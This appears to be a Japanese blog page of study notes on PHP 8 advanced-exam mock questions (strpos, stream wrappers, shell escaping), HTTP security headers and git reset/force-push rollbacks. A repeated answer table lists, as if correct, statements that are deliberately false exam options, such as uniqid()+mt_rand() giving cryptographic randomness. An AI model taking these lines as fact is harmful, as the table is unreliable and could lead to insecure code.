    strpos() 関数は文字列内の部分文字列が最初に現れる場所を見つける。
    そのため、以下のコード

    $fn = function($needle) {
        $string = 'abc';
    
        if ( strpos($string, $needle) != false ) {
            echo "{$needle} が見つかりました", PHP_EOL;
        } else {
            echo "{$needle} は見つかりませんでした", PHP_EOL;
        }
    };
    
    $fn('a');
    $fn('z');

    を実行すると、結果は次のとおりとなる。

    a が見つかりました
    z は見つかりませんでした

    PHP strpos() 関数の動作 0 1 2 3 4 5 6 7 8 9 10 P H P P r o g r a m s 例1: strpos($string, ‘P’) 検索: ‘P’ 最初に見つかる位置: 0 (先頭) 例2: strpos($string, ‘P’, 1) 検索: ‘P’(インデックス1から検索開始) 見つかる位置: 2 (3番目の文字) 注意: if(strpos(…) == false) は先頭 (0) で誤判定!

    strpos() 関数は確かに文字列内の部分文字列が最初に現れる位置(インデックス)を返しますが、見つからない場合は false を返します。重要なのは、文字列の先頭(インデックス0)で見つかった場合は 0 を返すことです。

    ‘abc’ の中で ‘a’ は インデックス0 になり、0 と false は「==」では等しい→誤判定となってしまいます

    「strpos() の返り値は 0 もあり得るから、!= false は使わないことが推奨」

    よって問題文は誤り❌です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    「HTTPセキュリティヘッダー」とは?個人情報扱うサイト、企業サイトは必須の設定!

    セキュリティヘッダーとは

    悪意のあるスクリプトがあなたのサイトで動くのを防いだり、危険な通信の接続方法を禁止したりすることによって、ユーザーとサイトを守ります

    HTTPセキュリティヘッダー主な目的

    HTTPセキュリティヘッダーの役割と保護 ブラウザ Webサーバー HTTPリクエスト HTTPレスポンス + セキュリティヘッダー セキュリティヘッダーによる保護 Content-Security-Policy リソース読み込み元の制限 X-Frame-Options クリックジャッキング防止 Strict-Transport-Security HTTPS接続の強制 Referrer-Policy リファラー情報の漏洩防止 X-Content-Type-Options MIME スニッフィング防止 Permissions-Policy ブラウザ機能の使用制限 攻撃者 XSS攻撃 中間者攻撃 クリックジャッキング 実装: Webサーバー設定 (.htaccess, httpd.conf), アプリケーションコード, CDN設定

    主要なセキュリティヘッダー

    1. Content-Security-Policy (CSP)
      • ウェブページが読み込める外部リソース(スクリプト、スタイル、画像など)の出所を制限します
      • XSS攻撃を効果的に防止する最も強力なセキュリティヘッダーの一つです

    CSPを厳しく設定しすぎると、GTMが正常に機能しなくなり、ウェブサイトのアナリティクスやマーケティングツールが動作しなくなる可能性があります。そのため、CSP設定時には必要なドメインと機能を適切に許可する必要があります。

    Content Security Policy (CSP) と Google Tag Manager (GTM) あなたのウェブサイト CSP セキュリティポリシー Google Tag Manager googletagmanager.com インラインスクリプト (unsafe-inline) Google Analytics その他トラッキング カスタムスクリプト (unsafe-eval) 許可/ブロック CSPが正しく設定されていないと GTMやトラッキングツールが 機能しなくなる可能性があります
    1. X-Frame-Options
      • ウェブページが他のサイトのフレーム内で表示されることを制限します
      • クリックジャッキング攻撃(ユーザーが意図しないボタンやリンクをクリックするよう誘導する攻撃)を防止します
    2. X-Content-Type-Options
      • ブラウザによるMIMEタイプの推測(スニッフィング)を防止します
      • ファイルタイプの偽装による攻撃を防ぎます
    3. Strict-Transport-Security (HSTS)
      • ウェブサイトへの接続をHTTPSのみに強制します
      • 中間者攻撃やプロトコルダウングレード攻撃を防止します
    4. X-XSS-Protection
      • ブラウザ内蔵のクロスサイトスクリプティング対策を有効化します
      • 最新のブラウザではCSPに置き換えられつつありますが、下位互換性のために使用されることがあります
    5. Referrer-Policy
      • ブラウザが他のウェブサイトにリクエストを送る際に、どの程度のリファラー情報を送信するかを制御します
      • 機密情報の漏洩を防止します
    6. Permissions-Policy (旧Feature-Policy)
      • ブラウザの特定の機能(カメラ、マイク、位置情報など)の使用を制限します
      • ウェブサイトが持つべき権限を明示的に定義します

    セキュリティヘッダーの実装方法

    セキュリティヘッダーは様々な方法で実装できます:

    1. ウェブサーバーの設定
      • Apache (.htaccessファイルやhttpd.confなど)
      • Nginx (nginx.confなど)
      • IIS (web.configなど)
    2. アプリケーションコード内
      • PHP、Node.js、Rubyなどのバックエンドコードで設定

    セキュリティヘッダーの基本的なPHPでの設定方法

    <?php
    // セキュリティヘッダーを設定
    header("X-Frame-Options: SAMEORIGIN");
    header("X-XSS-Protection: 1; mode=block");
    header("X-Content-Type-Options: nosniff");
    header("Referrer-Policy: strict-origin-when-cross-origin");
    header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");
    header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Pragma: no-cache");
    
    // 以下、通常のPHPコード
    ?>
    1. CDN/WAF設定
      • Cloudflareなどのサービスを通じて設定

    フレームワークを使っている場合

    Laravel、Symfony、WordPressなどのフレームワークやCMSを使用している場合は、それぞれ専用の設定方法があります。例えばLaravelでは、ミドルウェアを使って設定することが一般的です。

    この設定は必ずHTML出力の前に行う必要があります。それ以外の点では、通常のPHPファイルと同じように扱うことができます。

    Gitを使用したロールバック、resetとrevertの違い

    .gitignoreで追跡対象外のファイルは別で対応

    .gitignoreでphp.iniや.htaccessが追跡対象外になっているため、Git操作だけでは不十分で、FTPでの個別ファイル操作が必要

    Git resetについて

    git resetは、リポジトリの状態を以前のコミットに戻すコマンドです。主に3つの異なるモードがあります:

    リポジトリ commit した状態 ステージング add した状態 ワーキングツリー 作業中の場所 –soft –mixed –hard
    1. git reset –soft
    git reset --soft [コミットハッシュ]
    • 変更点: HEADの位置だけを変更します
    • ステージングエリア: 変更されません
    • ワーキングディレクトリ: 変更されません
    • 用途: コミットをやり直したい場合に使用します
    • 結果: 指定したコミットとHEAD間の変更がステージングエリアに残り、再コミットできます

    HEAD はローカルの概念!

    結論HEADローカルリポジトリでのみ使われる用語 で、現在チェックアウトされているコミットを指す
    origin とは違うorigin はリモートリポジトリ(GitHub など)を指す。

    1. git reset –mixed (デフォルト)
    git reset [コミットハッシュ]
    git reset --mixed [コミットハッシュ]
    • 変更点: HEADの位置とステージングエリアを変更します
    • ステージングエリア: 指定したコミットの状態に戻ります
    • ワーキングディレクトリ: 変更されません
    • 用途: コミットとステージングをやり直したい場合
    • 結果: 変更は保持されますが、コミット前の状態(unstaged)になります
    1. git reset –hard

    hardは全部なかったことにする

    git reset --hard [コミットハッシュ]
    • 変更点: HEAD、ステージングエリア、ワーキングディレクトリすべてを変更します
    • ステージングエリア: 指定したコミットの状態に戻ります
    • ワーキングディレクトリ: 指定したコミットの状態に戻ります(未保存の変更はすべて失われます)
    • 用途: 完全に過去の状態に戻したい場合
    • 結果: すべての変更が失われ、指定したコミットの状態に完全に戻ります
    Git Resetの種類と動作 凡例: コミット ステージング ワーキングツリー 初期状態 –soft –mixed –hard C1 C2 C3 C4 C5 HEAD ステージ ファイル C1 C2 C3 C4 C5 HEAD ステージ ファイル C1 C2 C3 C4 C5 HEAD ステージ ファイル C1 C2 C3 C4 C5 HEAD ステージ ファイル git reset –soft git reset –mixed git reset –hard

    Git resetのロールバック手順:–hardオプションの推奨理由

    Webサイトのロールバックを行う場合、git reset --hardオプションを使用することを強く推奨します。

    1. ロールバック対象のコミットハッシュを確認
    git log

    コミットの履歴が表示されるので、ロールバック先の安定していたコミットのハッシュ値を確認します。

    1. ハードリセットを実行
    git reset --hard [安定していたコミットのハッシュ]

    これにより、リポジトリ、ステージングエリア、ワーキングディレクトリすべてが指定したコミット時点の状態に完全に戻ります。

    1. リモートリポジトリに変更を強制的に反映
    git push -f origin [現在のブランチ名]

    git push -fの本質は「履歴を消して上書きする」ことにあり、これによって履歴に依存しない更新が可能になります。

    git push -f の動作 ローカルリポジトリ リモートリポジトリ 開始状態: コミット: A → B → C (現在の状態) コミット: A → B → C (現在の状態) ローカルでリセット: コミット: A → D (リセット後の状態) git reset –hard git push -f origin [ブランチ名] コミット: A → D (B, Cは消去された)

    強制プッシュはGitの履歴を書き換える強力なコマンドですが、適切に使用すれば問題を解決する効果的な手段になります。特にロールバックのような緊急対応時には非常に役立ちます

    通常のpushと強制push (push -f) の比較 通常のpush(履歴依存) 強制push(git push -f) 初期状態 ローカル: A→B リモート: A→B→C 初期状態 ローカル: A→D リモート: A→B→C git push の試行 エラー: リモートに新しいコミットがあります 先にgit pullでリモートの変更を取り込む必要あり git push -f の試行 成功: リモートブランチを強制更新しました 注意: リモートの履歴が上書きされました 解決策: git pull & merge 1. git pull でリモートの変更を取得 2. マージまたはリベース 最終状態: ローカル & リモート: A→B→C→D 結果: 履歴の上書き 1. BとCのコミットは消去される 2. リモートの履歴がローカルに合わせられる 最終状態: ローカル & リモート: A→D git push -f: 履歴依存を無視して強制的に更新(チーム開発では注意が必要)

    1. 本番サーバーで変更を取得・適用
    cd [Webサイトのディレクトリ]
    git pull

    –hardオプションを推奨する理由

    • リポジトリ、ステージング、ワーキングディレクトリの全てが完全にリセットされ、確実に安定状態に戻ります
    • 部分的なリセット(–soft/–mixed)では問題のある変更が残る可能性があり、トラブルシューティングには不向きです
    • 障害対応では「確実に動作していた時点」に完全に戻すことが最も安全な方法です

    git resetとgit revertの主な違い

    git resetgit revert
    コミット履歴を実際に書き換えます既存のコミット履歴はそのまま保持します
    対象のコミットまで戻り、それ以降のコミットを削除します対象コミットの変更を打ち消す新しいコミットを作成します
    履歴を安全に修正できます
    通常はプッシュ済みの共有ブランチには使用しません共有リポジトリでも安全に使えます
    git reset と git revert の違い 元のコミット履歴 A B C D E F (HEAD→master) git reset –hard C A B C (HEAD→master) D, E, F は履歴から削除される git revert D A B C D E F G (HEAD→master) Gは「Dの逆の変更」を加えるコミット • reset: 履歴を書き換え、指定したコミット以降を削除する • revert: 履歴はそのままで、指定コミットを打ち消す新コミットを作成

    Git resetとpush -fの練習方法

    Git resetやforce pushの操作を安全に練習するには、以下のような方法があります。これらは実際の本番環境に影響を与えずに練習できる方法です。

    1. ローカルでの練習環境を作る

    # 練習用ディレクトリを作成
    mkdir git-practice
    cd git-practice
    
    # 新しいGitリポジトリを初期化
    git init
    
    # いくつかファイルを作成してコミット
    echo "初めてのファイル" > file1.txt
    git add file1.txt
    git commit -m "最初のコミット"
    
    echo "2つ目のファイル" > file2.txt
    git add file2.txt
    git commit -m "2つ目のコミット"
    
    echo "3つ目のファイル" > file3.txt
    git add file3.txt
    git commit -m "3つ目のコミット"
    
    # コミット履歴を確認
    git log --oneline

    2. リモートリポジトリをシミュレート

    # 別のディレクトリに裸のリポジトリを作成(これがリモートの役割)
    cd ..
    mkdir remote-repo.git
    cd remote-repo.git
    git init --bare
    
    # 元のリポジトリに戻り、リモートとして追加
    cd ../git-practice
    git remote add origin ../remote-repo.git
    
    # リモートにプッシュ
    git push -u origin master
    Git練習環境のセットアップ ステップ1: ローカル練習リポジトリの作成 mkdir git-practice && cd git-practice git init 空のローカルリポジトリ ステップ2: テストコミットの作成 echo “ファイル1” > file1.txt && git add file1.txt && git commit -m “コミット1” echo “ファイル2” > file2.txt && git add file2.txt && git commit -m “コミット2” コミット履歴: A→B ステップ3: 疑似リモートリポジトリの作成 cd .. && mkdir remote-repo.git && cd remote-repo.git git init –bare cd ../git-practice git remote add origin ../remote-repo.git 裸のリモートリポジトリ

    3. git resetとforce pushの練習

    # 履歴を確認
    git log --oneline
    
    # 1つ前のコミットに戻す
    git reset --hard HEAD~1
    
    # 履歴を確認(最新のコミットが消えているはず)
    git log --oneline
    
    # 強制プッシュ
    git push -f origin master
    Git Reset と Force Push の練習シナリオ 練習シナリオ:初期状態 A B C A: 最初のコミット B: 機能追加 C: バグ混入 ローカル: A→B→C リモート: A→B→C 練習シナリオ:ローカルでのリセット # リセット前に履歴確認 git log –oneline git reset –hard HEAD~1 # 1つ前のコミットに戻す A B C 削除済 練習シナリオ:強制プッシュ # 通常のプッシュ(失敗する) git push origin master # エラー: リモートに新しいコミットがあります # 強制プッシュで解決 git push -f origin master リモートリポジトリの状態: A→B(Cは消去)

    4. チーム開発をシミュレーション

    # 別のディレクトリにクローンして別のユーザーをシミュレート
    cd ..
    mkdir teammate
    cd teammate
    git clone ../remote-repo.git .
    
    # 変更を加えてコミット
    echo "チームメイトの変更" > teammate-file.txt
    git add teammate-file.txt
    git commit -m "チームメイトの変更"
    
    # リモートにプッシュ
    git push origin master
    チーム開発シミュレーション 開発者1(あなた) 開発者2(チームメイト) ステップ1: リポジトリ作成 git init & コミット作成 ステップ1: クローン git clone ../remote-repo.git ステップ2: 機能Xを開発 git commit & git push ステップ2: プル & 機能Y開発 git pull & git commit ステップ3: バグ発見・リセット git reset –hard HEAD~1 git push -f origin master ステップ3: 機能Yを完成させる 開発を継続 (プルはまだしていない) 結果: 履歴がクリーンに 履歴: 機能Xのコミットはなし バグは除去された このまま新機能を実装 問題: プッシュできない git push でエラー発生 「リモート履歴が変更された」 開発者1に連絡が必要

    そして元のディレクトリに戻って、どのように競合が発生するかを観察できます。

    オンラインの練習サービス

    Learn Git Branching
    https://learngitbranching.js.org/?locale=ja

    【php8上級/準上級試験】模擬問題解説 問題25 php:// stream_wrapper_register

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 25

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    なお「\」はバックスラッシュに読み替えること。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    stream_wrapper_register ( string $protocol , string $class , int $flags = 0 ) : bool
    成功した場合に true を、失敗した場合に false を返します。
    stream_wrapper_register() は、 protocol というハンドラが既にある場合、 false を返します。

    stream_filter_prepend ( resource $stream , string $filtername , int $read_write = ? , mixed $params = ? ) : resource

    PHP では「ファイル、ネットワーク、データ圧縮などに関する、 共通した一連の関数群と利用法を持つ操作の一般化の手法」として、ストリームがある。
    また「ストリームにおいてどのように特定の プロトコル/エンコーディングを扱うかを扱うかを指示する付加的なコード」をラッパーと呼称する。
    PHP において、組み込みのラッパーは様々にあるが、例えば php:// はさまざまな入出力ストリームへのアクセスを提供している。
    例えば php://input は読み込み専用のストリームで、リクエストの body 部から生のデータを読み込むことができる。
    そのため、以下のコード

    var_dump( file_get_contents('php://input') );

    curl https://www.example.com/stream.php -d ‘{“exam_num”:100,”exam_string”:”value”}’
    の形で呼び出すと、結果は次のとおりとなる。

    string(38) “{“exam_num”:100,”exam_string”:”value”}”

    ストリームは、データを連続する流れとして扱うための抽象概念です。

    php://input が特に役立つのは「通常のフォーム送信以外」のデータを取得する場合です。具体的には:

    • JSONデータの取得: 現代のWeb APIやフロントエンドフレームワーク(React, Vue, Angularなど)は、JSONでデータをやり取りすることがほとんどです。これらは通常、Content-Type: application/json ヘッダーでPOSTリクエストを送信します。

    通常のHTMLフォーム(application/x-www-form-urlencoded や multipart/form-data)でPOSTされたデータは $_POST グローバル変数に自動的に格納されますが、上記のような特殊なケースでは $_POST にデータが入らないため、php://input を使用して直接リクエストボディを読み取る必要があります。

    PHPでのデータ取得: $_POST vs php://input 従来のHTMLフォーム $_POST で取得 <form method=”post”> <input name=”name” value=”John”> <input name=”email” value=”john@example.com”> 送信されるデータ形式: Content-Type: application/x-www-form-urlencoded name=John&email=john@example.com <?php // $_POST から直接取得できる $name = $_POST[‘name’]; $email = $_POST[‘email’]; // 処理… モダンなJSONリクエスト php://input で取得 fetch(‘/api.php’, { method: ‘POST’, headers: { ‘Content-Type’: ‘application/json’ }, 送信されるデータ形式: Content-Type: application/json {“name”:”John”,”email”:”john@example.com”} <?php // 生のJSONデータを取得 $json = file_get_contents(‘php://input’); $data = json_decode($json, true); // $data[‘name’], $data[‘email’] を使用 $_POSTではJSONデータを取得できないため、php://inputが必要

    問題文の内容は正しい⭕です

    php://memory および php://temp は読み書き可能なストリームで、一時データをファイルのように保存できるラッパーである。
    そのため、以下のコード

    $csv_string = "1,2,3\n4,5,6\n";
    
    $fp = fopen('php://memory', 'r+');
    fwrite($fp, $csv_string);
    fseek($fp, 0, SEEK_SET);
    
    while($row = fgetcsv($fp)) {
      var_dump($row);
    }

    を実行すると、結果は次のとおりとなる。

    array(3) {
      [0]=>
      string(1) "1"
      [1]=>
      string(1) "2"
      [2]=>
      string(1) "3"
    }
    array(3) {
      [0]=>
      string(1) "4"
      [1]=>
      string(1) "5"
      [2]=>
      string(1) "6"
    }

    php://memory および php://temp は読み書き可能なストリーム

    php://memory の基本 メモリ上に仮想的な「ファイル」を作成し、実際のファイルシステムを 使わずにデータを操作できる // メモリストリームをオープン $fp = fopen(‘php://memory’, ‘r+’); // データを書き込む fwrite($fp, “Hello, World!”); // ファイルポインタを先頭に戻す rewind($fp); // または fseek($fp, 0); メリット: 高速、一時ファイル不要、権限問題なし
    php://memory と php://temp の違い 両方とも一時的なデータ操作に使えますが、大きなデータでは異なる動作をします php://memory • 常にメモリ上にデータを保持 • 小〜中規模のデータに最適 • 最も高速 • メモリ制限に注意 php://temp • 一定サイズを超えると ディスクに書き込む • 大規模データに適している • メモリ使用量を制限できる • デフォルト閾値は約2MB 大きなデータを扱う場合は php://temp を推奨

    この説明に誤りはありません。内容は⭕です

    stream_wrapper_register() 関数を使うと、新しいラッパーとその挙動を登録する事ができる。
    そのため、以下のコード

    $r = stream_wrapper_register('dummy', 'PhpStreamDummy');
    var_dump($r);

    を実行すると、結果は次のとおりとなる。

    Warning: stream_wrapper_register(): class ‘PhpStreamDummy’ is undefined in …
    bool(false)
    一方で以下のコード

    class PhpStream {
    }
    
    $r = stream_wrapper_register('php', 'PhpStream');
    var_dump($r);

    を実行すると、結果は次のとおりとなる。

    bool(true)

    stream_wrapper_register() は新しいストリームラッパーを登録する

    • PHP の ストリームラッパー をカスタマイズするために使う。
    • stream_wrapper_register(‘ラッパー名’, ‘クラス名’) の形式。
    stream_wrapper_register の基本 カスタムストリームプロトコルを登録する関数 stream_wrapper_register(プロトコル名, クラス名) 使用例 // カスタムラッパー登録 class MyWrapper { // 必要なメソッド public function stream_open() { return true; } // 登録と使用 stream_wrapper_register( ‘mydata’, ‘MyWrapper’); $fp = fopen(‘mydata://file’, ‘r’); 注意: php, file, http などの予約名は使用できません

    ⚠️ 組み込みラッパー (php) を登録するとエラー

    php は PHP の組み込みストリームラッパー であり、再登録できない。
    実際にこのコードを実行すると Warning が発生して false を返す。

    よって問題文は誤り❌です

    stream_filter_prepend() 関数を使うと、フィルタをストリームに付加する事ができる。
    そのため、exam.txt ファイルに「文字コード sjis で書かれた文字」を入れた上で、以下のコード

    $file_name = './exam.txt';
    $fp = fopen($file_name, 'r');
    var_dump( fgets($fp) );
    fclose($fp);
    
    $fp = fopen($file_name, 'r');
    $fp2 = stream_filter_prepend($fp, 'convert.iconv.SJIS-win/UTF-8');
    var_dump( fgets($fp) );
    fclose($fp);

    を実行すると、結果は次のとおりとなる。

    string(17) “sjis?????????

    string(23) “sjisでこんにちは

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題24. escapeshellarg() escapeshellcmd()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 24

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    なお「\」はバックスラッシュに読み替えること。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    exec ( string $command , array &$output = null , int &$result_code = null ) : string|false
    shell_exec ( string $cmd ) : string
    system ( string $command , int &$result_code = null ) : string|false

    escapeshellarg ( string $arg ) : string
    escapeshellarg() は、文字列をシングルクオート で括り、既存のシングルクオートを全てクオート/エスケープします。これにより、文字列を直接シェル関数に渡し、単一の安全な引数として処理することを可能にします
    escapeshellcmd ( string $command ) : string
    escapeshellcmd() は、文字列中においてシェルコマンドを だまして勝手なコマンドを実行する可能性がある文字をエスケープします。
    (中略)
    &#;`|*?~^()[]{}$\、\x0A および \xFF については、その文字の前に \ (バックスラッシュ) が追加されます。’ および ” は、対になっていない場合にのみエスケープされます。

    proc_nice ( int $increment ) : bool
    posix_kill ( int $pid , int $sig ) : bool

    PHP で外部プログラムを動かすためには、 exec() 関数、passthru() 関数、shell_exec() 関数、system() 関数、バックティック演算子 ` などを使う。
    これらのうち、shell_exec() 関数とバックティック演算子は「同じもの」である。
    また、exec() 関数と system() 関数は返り値として「コマンド結果の最後の行を返す」、passthru() 関数は「未整形の出力を表示(stdout に出力)する」ところに差異がある。
    そのため、以下のコード

    $cmd = 'vmstat 1 1';
    
    echo "exec()\n";
    $s = exec($cmd, $output, $return_var);
    echo $s, PHP_EOL;
    
    echo PHP_EOL;
    echo "shell_exec()\n";
    $s = shell_exec($cmd);
    echo $s, PHP_EOL;
    
    echo PHP_EOL;
    echo "system()\n";
    ob_start();
    $s = system($cmd, $return_var);
    ob_end_clean();
    echo $s, PHP_EOL;

    を実行すると、結果は次のような表記となる。

    exec()
    1  0  67236  87052      0 606796    0    0     0     1    1    1  0  0 100  0  0
    
    shell_exec()
    procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
    r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
    1  0  67236  86728      0 606796    0    0     0     1    1    1  0  0 100  0  0
    
    system()
    1  0  67236  86564      0 606796    0    0     0     1    1    1  0  0 100  0  0

    問題文の内容は正しい⭕です

    シェル引数として使われる文字列をエスケープするための関数として、escapeshellarg() 関数と escapeshellcmd() 関数がある。

    どちらも「エスケープをする」処理を行うため、どちらを使っても意味合いは同じなので、どちらを使ってもよい。

    しかし、外部入力をシェル引数に使う場合は、必ずどちらかの関数でエスケープをする必要がある。

    そのため、以下のコード

    $arguments = 'ab&c "d ef" > \'gh\'';
    $e = escapeshellarg($arguments);
    echo $e, PHP_EOL;
    
    $e = escapeshellcmd($arguments);
    echo $e, PHP_EOL;

    を実行すると、結果は次のとおりとなる。

    ‘ab&c “d ef” > ‘\”gh’\”’
    ‘ab&c “d ef” > ‘\”gh’\”’

    ⚠️ escapeshellarg() と escapeshellcmd() は意味が異なる

    • escapeshellarg() は シェル引数 を安全にエスケープする。
    • escapeshellcmd() は シェルコマンド全体 をエスケープする。

    🔥 まとめ目的使用用途
